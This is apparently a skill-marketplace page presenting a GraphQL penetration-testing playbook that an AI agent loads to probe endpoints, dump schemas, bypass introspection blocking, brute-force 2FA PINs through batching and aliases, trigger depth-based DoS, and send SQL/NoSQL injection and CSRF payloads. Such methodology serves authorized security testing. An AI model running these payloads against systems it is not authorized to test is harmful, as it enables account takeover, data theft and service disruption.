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Graphql

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PentesterFlow
graphql

GraphQL pentest playbook — find the endpoint, dump the schema (introspection or field-suggestion fallback), then test for authorization gaps, query batching, alias overload, depth-based DoS, and SQLi/NoSQLi in resolver arguments. Use when the target exposes a /graphql endpoint, GraphiQL, Apollo, or accepts GraphQL queries.

Overview

PublisherPentesterFlow
Repositoryagent
Skill namegraphql
Stars
1.4K
Forks
248
Bundled files
1
LicenseApache-2.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by PentesterFlow on GitHub. Read the source before you install it.

Installation

Install the Graphql AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/PentesterFlow/agent.git /tmp/agent
mkdir -p .claude/skills
cp -r /tmp/agent/skills/graphql .claude/skills/graphql
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Graphql in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Graphql on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Graphql is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

GraphQL playbook

Execution rule: resolve the real GraphQL endpoint first, then run concrete http/curl requests against it. Never write literal placeholders such as <other-id> to files; ask once if required IDs or sessions are missing.

Standard endpoints to probe first (use http with GET / POST): /graphql, /graphiql, /api/graphql, /v1/graphql, /v2/graphql, /query, /api/query.

1. Confirm it's GraphQL

POST a tiny query — every implementation answers this:

json
{"query":"{__typename}"}

A reply containing {"data":{"__typename":"Query"}} confirms the endpoint. Note the response shape: { "data": ..., "errors": [...] }.

2. Schema discovery

2a. Introspection (the easy path)

json
{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"}

Save the response — every later attack starts from this schema. Use file_write to keep it next to the engagement notes.

2b. Introspection disabled? Use field suggestions

Apollo and most other servers leak field names through error messages:

json
{"query":"{ user { secrt } }"}

Reply often contains Did you mean "secret"?. Iterate to enumerate the schema field-by-field. Read read_payloads(skill="graphql", file="field-suggestion-probes.txt") for a starter list.

2c. Aliased introspection bypass

Some WAFs / middleware block the __schema keyword. Bypass with an alias:

json
{"query":"query { my_alias: __schema { types { name } } }"}

Or use __type(name: "User") instead of __schema to dump types one at a time.

2d. Mutation / subscription via GET

Some servers enforce auth only on POST. Try the same query as a GET:

GET /graphql?query={__schema{types{name}}}

3. Authorization gaps

GraphQL queries hit many resolvers; auth checks often live on outer fields only. Look for inner resolvers (user.email, order.shippingAddress) that fetch without scoping to the caller.

Test patterns:

  • Same field through different roots: me { email } vs user(id: <other-id>) { email }.
  • Nested traversal: order(id: X) { user { email phone } } — does it leak fields you can't access directly?
  • IDOR via mutation: updateProfile(input: { userId: <other-id>, ... }).

4. Query batching

Some servers accept a JSON array as the request body, processing each query independently. Use this to:

  • Bypass per-request rate limits.
  • Brute-force a 2FA code or password reset token in a single HTTP request:
json
[{"query":"mutation{login(user:\"x\",pin:\"0001\"){token}}"},{"query":"mutation{login(user:\"x\",pin:\"0002\"){token}}"},{"query":"mutation{login(user:\"x\",pin:\"0003\"){token}}"}]

5. Alias overload — same endpoint, many resolves per request

json
{"query":"{ a1: secret a2: secret a3: secret a4: secret ... a1000: secret }"}

If the server doesn't cap aliases, you get N × the resolver cost in one request. Use to:

  • Brute-force credentials at line speed (each alias is a fresh login(...)).
  • Trigger DoS via expensive resolvers.

6. Depth attacks

Recursive queries through cyclic types:

graphql
{ user { friends { friends { friends { friends { id } } } } } }

If the server has no depthLimit, you get exponential expansion. Confirm DoS only against authorized lab targets.

7. SQLi / NoSQLi / SSRF in resolver args

Resolvers often pass arguments straight into a query. Try:

json
{"query":"query($id:String!){ user(id:$id){name} }","variables":{"id":"1' OR '1'='1"}}
json
{"query":"{ user(id: \"{$ne: null}\") { name } }"}

For SSRF, look for fields that fetch URLs server-side (image(url: ...), webhook(url: ...) — chain into the [[ssrf]] skill).

8. CSRF on POST

If the endpoint accepts application/x-www-form-urlencoded or doesn't check Origin/CSRF token, GraphQL mutations are CSRF-able. Try:

POST /graphql
Content-Type: application/x-www-form-urlencoded

query=mutation{deleteUser(id:1)}

Reporting

When confirming, always include:

  • Schema dump (or partial enumerated via 2b) as evidence of the discovery method.
  • The exact JSON payload + the HTTP request as a curl one-liner.
  • Concrete impact (which fields leak, whose data, what mutation succeeded).

If the only finding is "introspection enabled," that alone is info unless the schema reveals private fields. Don't file P5 noise.

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Graphql AI skill do?

GraphQL pentest playbook — find the endpoint, dump the schema (introspection or field-suggestion fallback), then test for authorization gaps, query batching, alias overload, depth-based DoS, and SQLi/NoSQLi in resolver arguments. Use when the target exposes a /graphql endpoint, GraphiQL, Apollo, or accepts GraphQL queries.

Why use Graphql on TypingMind?

Because you install it once and use it with any model. Graphql is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Graphql in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/PentesterFlow/agent/tree/main/skills/graphql. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Graphql?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Graphql?

As many as you like. As long as a model supports skills, you can use Graphql with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Graphql AI skill free?

Yes. It is published on GitHub by PentesterFlow under the Apache-2.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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